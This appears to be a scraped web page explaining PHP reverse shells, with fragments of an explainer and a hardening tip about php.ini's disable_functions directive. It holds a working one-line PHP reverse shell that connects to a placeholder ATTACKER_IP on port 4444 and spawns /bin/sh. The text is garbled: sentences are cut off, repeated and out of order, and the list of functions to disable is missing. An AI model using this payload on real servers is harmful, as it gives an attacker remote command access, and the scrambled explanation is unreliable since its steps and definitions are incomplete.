Edit your php.ini file and use the disable_functions directive. A modern secure configuration should include:
: The simplest form for execution via a web browser: Use code with caution. Copied to clipboard Reverse Shell Php
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' Use code with caution. Copied to clipboard fsockopen : Opens a TCP connection to the attacker. Edit your php
A is a type of malicious script or legitimate administrative tool where a target server initiates an outbound connection to an attacker's machine, providing interactive command-line access. Unlike traditional "bind shells," which open a port and wait for a connection, reverse shells are highly effective at bypassing firewalls and Network Address Translation (NAT) because they appear as legitimate outbound traffic. What is a PHP Reverse Shell? Copied to clipboard fsockopen : Opens a TCP
sets up a "listener" on their machine, waiting for a connection.